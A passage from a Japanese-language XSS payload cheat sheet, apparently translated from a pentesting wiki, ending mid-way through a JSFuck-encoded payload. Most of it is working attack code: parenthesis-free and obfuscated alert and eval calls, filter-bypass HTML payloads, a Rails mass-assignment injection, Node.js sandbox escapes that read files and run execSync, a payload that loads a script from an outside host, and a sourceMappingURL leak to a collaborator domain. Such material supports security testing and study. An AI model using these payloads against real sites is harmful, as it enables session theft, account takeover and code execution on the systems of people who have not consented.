"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
|
||
"\a\l\ert\(1\)"
|
||
atob("dGhpc2lzYXN0cmluZw==")
|
||
eval(8680439..toString(30))(983801..toString(36))
|
||
```
|
||
**特別なエスケープ**
|
||
```javascript
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
// Any other char escaped is just itself
|
||
```
|
||
**JSコード内のスペースの置換**
|
||
```javascript
|
||
<TAB>
|
||
/**/
|
||
```
|
||
**JavaScript コメント (から** [**JavaScript コメント**](./#javascript-comments) **トリック)**
|
||
```javascript
|
||
//This is a 1 line comment
|
||
/* This is a multiline comment*/
|
||
<!--This is a 1line comment
|
||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||
```
|
||
**JavaScriptの改行(** [**JavaScriptの改行**](./#javascript-new-lines) **トリック)**
|
||
```javascript
|
||
//Javascript interpret as new line these chars:
|
||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||
```
|
||
**JavaScriptの空白**
|
||
```javascript
|
||
log=[];
|
||
function funct(){}
|
||
for(let i=0;i<=0x10ffff;i++){
|
||
try{
|
||
eval(`funct${String.fromCodePoint(i)}()`);
|
||
log.push(i);
|
||
}
|
||
catch(e){}
|
||
}
|
||
console.log(log)
|
||
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
|
||
|
||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||
<img/src/onerror=alert(1)>
|
||
```
|
||
**コメント内のJavascript**
|
||
```javascript
|
||
//If you can only inject inside a JS comment, you can still leak something
|
||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||
|
||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||
```
|
||
**括弧なしのJavaScript**
|
||
````javascript
|
||
// By setting location
|
||
window.location='javascript:alert\x281\x29'
|
||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||
// or any DOMXSS sink such as location=name
|
||
|
||
// Backtips
|
||
// Backtips pass the string as an array of lenght 1
|
||
alert`1`
|
||
|
||
// Backtips + Tagged Templates + call/apply
|
||
eval`alert\x281\x29` // This won't work as it will just return the passed array
|
||
setTimeout`alert\x281\x29`
|
||
eval.call`${'alert\x281\x29'}`
|
||
eval.apply`${[`alert\x281\x29`]}`
|
||
[].sort.call`${alert}1337`
|
||
[].map.call`${eval}\\u{61}lert\x281337\x29`
|
||
|
||
// To pass several arguments you can use
|
||
function btt(){
|
||
console.log(arguments);
|
||
}
|
||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||
|
||
//It's possible to construct a function and call it
|
||
Function`x${'alert(1337)'}x```
|
||
|
||
// .replace can use regexes and call a function if something is found
|
||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||
"a".replace.call`1${/./}${alert}`
|
||
// This happened in the previous example
|
||
// Change "this" value of call to "1,"
|
||
// match anything with regex /./
|
||
// call alert with "1"
|
||
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
|
||
|
||
// Using Reflect.apply to call any function with any argumnets
|
||
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
|
||
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
|
||
// Using Reflect.set to call set any value to a variable
|
||
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
|
||
|
||
|
||
|
||
// valueOf, toString
|
||
// These operations are called when the object is used as a primitive
|
||
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
|
||
valueOf=alert;window+''
|
||
toString=alert;window+''
|
||
|
||
|
||
// Error handler
|
||
window.onerror=eval;throw"=alert\x281\x29";
|
||
onerror=eval;throw"=alert\x281\x29";
|
||
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
|
||
{onerror=eval}throw"=alert(1)" //No ";"
|
||
onerror=alert //No ";" using new line
|
||
throw 1337
|
||
// Error handler + Special unicode separators
|
||
eval("onerror=\u2028alert\u2029throw 1337");
|
||
// Error handler + Comma separator
|
||
// The comma separator goes through the list and returns only the last element
|
||
var a = (1,2,3,4,5,6) // a = 6
|
||
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
|
||
throw onerror=alert,1,1,1,1,1,1337
|
||
// optional exception variables inside a catch clause.
|
||
try{throw onerror=alert}catch{throw 1}
|
||
|
||
|
||
// Has instance symbol
|
||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||
````
|
||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||
|
||
**任意の関数(alert)呼び出し**
|
||
````javascript
|
||
//Eval like functions
|
||
eval('ale'+'rt(1)')
|
||
setTimeout('ale'+'rt(2)');
|
||
setInterval('ale'+'rt(10)');
|
||
Function('ale'+'rt(10)')``;
|
||
[].constructor.constructor("alert(document.domain)")``
|
||
[]["constructor"]["constructor"]`$${alert()}```
|
||
import('data:text/javascript,alert(1)')
|
||
|
||
//General function executions
|
||
`` //Can be use as parenthesis
|
||
alert`document.cookie`
|
||
alert(document['cookie'])
|
||
with(document)alert(cookie)
|
||
(alert)(1)
|
||
(alert(1))in"."
|
||
a=alert,a(1)
|
||
[1].find(alert)
|
||
window['alert'](0)
|
||
parent['alert'](1)
|
||
self['alert'](2)
|
||
top['alert'](3)
|
||
this['alert'](4)
|
||
frames['alert'](5)
|
||
content['alert'](6)
|
||
[7].map(alert)
|
||
[8].find(alert)
|
||
[9].every(alert)
|
||
[10].filter(alert)
|
||
[11].findIndex(alert)
|
||
[12].forEach(alert);
|
||
top[/al/.source+/ert/.source](1)
|
||
top[8680439..toString(30)](1)
|
||
Function("ale"+"rt(1)")();
|
||
new Function`al\ert\`6\``;
|
||
Set.constructor('ale'+'rt(13)')();
|
||
Set.constructor`al\x65rt\x2814\x29```;
|
||
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
|
||
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
|
||
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
|
||
globalThis[`al`+/ert/.source]`1`
|
||
this[`al`+/ert/.source]`1`
|
||
[alert][0].call(this,1)
|
||
window['a'+'l'+'e'+'r'+'t']()
|
||
window['a'+'l'+'e'+'r'+'t'].call(this,1)
|
||
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
|
||
(1,2,3,4,5,6,7,8,alert)(1)
|
||
x=alert,x(1)
|
||
[1].find(alert)
|
||
top["al"+"ert"](1)
|
||
top[/al/.source+/ert/.source](1)
|
||
al\u0065rt(1)
|
||
al\u0065rt`1`
|
||
top['al\145rt'](1)
|
||
top['al\x65rt'](1)
|
||
top[8680439..toString(30)](1)
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
````
|
||
## **DOMの脆弱性**
|
||
|
||
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`です。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
||
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
|
||
|
||
{% content-ref url="dom-xss.md" %}
|
||
[dom-xss.md](dom-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります**。\
|
||
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
|
||
|
||
### セルフXSSのアップグレード
|
||
|
||
### クッキーXSS
|
||
|
||
クッキー内にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
|
||
|
||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||
{% endcontent-ref %}
|
||
|
||
この技術の素晴らしい悪用例は、[**このブログ投稿**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)で見つけることができます。
|
||
|
||
### 管理者にセッションを送信する
|
||
|
||
ユーザーが自分のプロフィールを管理者と共有できる場合、セルフXSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
|
||
|
||
### セッションミラーリング
|
||
|
||
セルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションから見ることになります。
|
||
|
||
あなたは**管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
|
||
|
||
## その他のバイパス
|
||
|
||
### 正規化されたUnicode
|
||
|
||
**反映された値**がサーバー(またはクライアント側)で**Unicode正規化**されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。[**ここに例があります**](../unicode-injection/#xss-cross-site-scripting)。
|
||
|
||
### PHP FILTER\_VALIDATE\_EMAILフラグバイパス
|
||
```javascript
|
||
"><svg/onload=confirm(1)>"@x.y
|
||
```
|
||
### Ruby-On-Rails bypass
|
||
|
||
**RoRマスアサインメント**のため、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールド(onfocus)がタグ内に追加されることがあります。\
|
||
フォームの例([このレポートから](https://hackerone.com/reports/709336))、ペイロードを送信すると:
|
||
```
|
||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||
```
|
||
"Key","Value"のペアは次のようにエコーされます:
|
||
```
|
||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||
```
|
||
その後、onfocus属性が挿入され、XSSが発生します。
|
||
|
||
### 特殊な組み合わせ
|
||
```markup
|
||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||
<input type=image src onerror="prompt(1)">
|
||
<svg onload=alert(1)//
|
||
<img src="/" =_=" title="onerror='prompt(1)'">
|
||
<img src='1' onerror='alert(0)' <
|
||
<script x> alert(1) </script 1=2
|
||
<script x>alert('XSS')<script y>
|
||
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
|
||
<svg////////onload=alert(1)>
|
||
<svg id=x;onload=alert(1)>
|
||
<svg id=`x`onload=alert(1)>
|
||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||
<script>$=1,alert($)</script>
|
||
<script ~~~>confirm(1)</script ~~~>
|
||
<script>$=1,\u0061lert($)</script>
|
||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||
<svg><x><script>alert('1')</x>
|
||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
|
||
(function(x){this[x+`ert`](1)})`al`
|
||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||
document['default'+'View'][`\u0061lert`](3)
|
||
```
|
||
### XSS with header injection in a 302 response
|
||
|
||
もしあなたが**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
||
|
||
[**このレポート**](https://www.gremwell.com/firefox-xss-302)と[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
|
||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
|
||
|
||
### Only Letters, Numbers and Dots
|
||
|
||
もしあなたが**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読んで**](./#javascript-function)この動作を悪用する方法を見つけてください。
|
||
|
||
### Valid `<script>` Content-Types to XSS
|
||
|
||
([**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)から)もしあなたが`application/octet-stream`のような**コンテンツタイプ**でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
|
||
|
||
> MIMEタイプ(‘application/octet-stream’)が実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')からスクリプトの実行を拒否しました。
|
||
|
||
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。
|
||
```c
|
||
const char* const kSupportedJavascriptTypes[] = {
|
||
"application/ecmascript",
|
||
"application/javascript",
|
||
"application/x-ecmascript",
|
||
"application/x-javascript",
|
||
"text/ecmascript",
|
||
"text/javascript",
|
||
"text/javascript1.0",
|
||
"text/javascript1.1",
|
||
"text/javascript1.2",
|
||
"text/javascript1.3",
|
||
"text/javascript1.4",
|
||
"text/javascript1.5",
|
||
"text/jscript",
|
||
"text/livescript",
|
||
"text/x-ecmascript",
|
||
"text/x-javascript",
|
||
};
|
||
|
||
```
|
||
### Script Types to XSS
|
||
|
||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むことを示す可能性がありますか?
|
||
```html
|
||
<script type="???"></script>
|
||
```
|
||
The answer is:
|
||
|
||
* **module** (デフォルト、説明することはありません)
|
||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
|
||
```html
|
||
<script type="webbundle">
|
||
{
|
||
"source": "https://example.com/dir/subresources.wbn",
|
||
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
|
||
}
|
||
</script>
|
||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||
```
|
||
* [**importmap**](https://github.com/WICG/import-maps)**:** インポート構文を改善することを可能にします
|
||
```html
|
||
<script type="importmap">
|
||
{
|
||
"imports": {
|
||
"moment": "/node_modules/moment/src/moment.js",
|
||
"lodash": "/node_modules/lodash-es/lodash.js"
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<!-- With importmap you can do the following -->
|
||
<script>
|
||
import moment from "moment";
|
||
import { partition } from "lodash";
|
||
</script>
|
||
```
|
||
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
|
||
|
||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
||
```html
|
||
<script type="speculationrules">
|
||
{
|
||
"prerender": [
|
||
{"source": "list",
|
||
"urls": ["/page/2"],
|
||
"score": 0.5},
|
||
{"source": "document",
|
||
"if_href_matches": ["https://*.wikipedia.org/**"],
|
||
"if_not_selector_matches": [".restricted-section *"],
|
||
"score": 0.1}
|
||
]
|
||
}
|
||
</script>
|
||
```
|
||
### Web Content-Types to XSS
|
||
|
||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 次のコンテンツタイプは、すべてのブラウザでXSSを実行できます:
|
||
|
||
* text/html
|
||
* application/xhtml+xml
|
||
* application/xml
|
||
* text/xml
|
||
* image/svg+xml
|
||
* text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
|
||
* application/rss+xml (オフ)
|
||
* application/atom+xml (オフ)
|
||
|
||
他のブラウザでは、他の **`Content-Types`** を使用して任意のJSを実行できます。確認してください: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||
|
||
### xml Content Type
|
||
|
||
ページがtext/xmlコンテンツタイプを返す場合、名前空間を指定して任意のJSを実行することが可能です:
|
||
```xml
|
||
<xml>
|
||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||
</xml>
|
||
|
||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||
```
|
||
### 特殊な置換パターン
|
||
|
||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊な文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)を使用して、いくつかの保護を回避しようとすることがあります: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||
|
||
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
|
||
|
||
### ChromeキャッシュからXSSへ
|
||
|
||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XS Jailのエスケープ
|
||
|
||
使用できる文字のセットが限られている場合、XSJailの問題に対する他の有効な解決策を確認してください:
|
||
```javascript
|
||
// eval + unescape + regex
|
||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
|
||
|
||
// use of with
|
||
with(console)log(123)
|
||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||
|
||
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
|
||
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
|
||
//Final solution
|
||
with(
|
||
/with(String)
|
||
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
|
||
with(mainModule)
|
||
with(require(k))
|
||
return(String(readFileSync(n)))
|
||
/)
|
||
with(this)
|
||
with(constructor)
|
||
constructor(source)()
|
||
|
||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||
```
|
||
もし**すべてが未定義**である場合、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
||
|
||
* import()を使用して
|
||
```javascript
|
||
// although import "fs" doesn’t work, import('fs') does.
|
||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||
```
|
||
* `require`への間接アクセス
|
||
|
||
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって関数内にラップされます。
|
||
```javascript
|
||
(function (exports, require, module, __filename, __dirname) {
|
||
// our actual module code
|
||
});
|
||
```
|
||
したがって、そのモジュールから**別の関数を呼び出す**ことができれば、その関数から`arguments.callee.caller.arguments[1]`を使用して**`require`**にアクセスすることが可能です:
|
||
|
||
{% code overflow="wrap" %}
|
||
```javascript
|
||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||
```
|
||
{% endcode %}
|
||
|
||
前の例と同様に、**エラーハンドラー**を使用してモジュールの**ラッパー**にアクセスし、**`require`**関数を取得することが可能です:
|
||
```javascript
|
||
try {
|
||
null.f()
|
||
} catch (e) {
|
||
TypeError = e.constructor
|
||
}
|
||
Object = {}.constructor
|
||
String = ''.constructor
|
||
Error = TypeError.prototype.__proto__.constructor
|
||
function CustomError() {
|
||
const oldStackTrace = Error.prepareStackTrace
|
||
try {
|
||
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
|
||
Error.captureStackTrace(this)
|
||
this.stack
|
||
} finally {
|
||
Error.prepareStackTrace = oldStackTrace
|
||
}
|
||
}
|
||
function trigger() {
|
||
const err = new CustomError()
|
||
console.log(err.stack[0])
|
||
for (const x of err.stack) {
|
||
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
|
||
const fn = x.getFunction()
|
||
console.log(String(fn).slice(0, 200))
|
||
console.log(fn?.arguments)
|
||
console.log('='.repeat(40))
|
||
if ((args = fn?.arguments)?.length > 0) {
|
||
req = args[1]
|
||
console.log(req('child_process').execSync('id').toString())
|
||
}
|
||
}
|
||
}
|
||
trigger()
|
||
```
|
||
### オブfuscation & 高度なバイパス
|
||
|
||
* **1つのページ内の異なるオブfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||
* より洗練されたJSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||
```javascript
|
||
//Katana
|
||
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
||
```
|
||
|
||
```javascript
|
||
//JJencode
|
||
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
||
```
|
||
|
||
```javascript
|
||
//JSFuck
|
||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[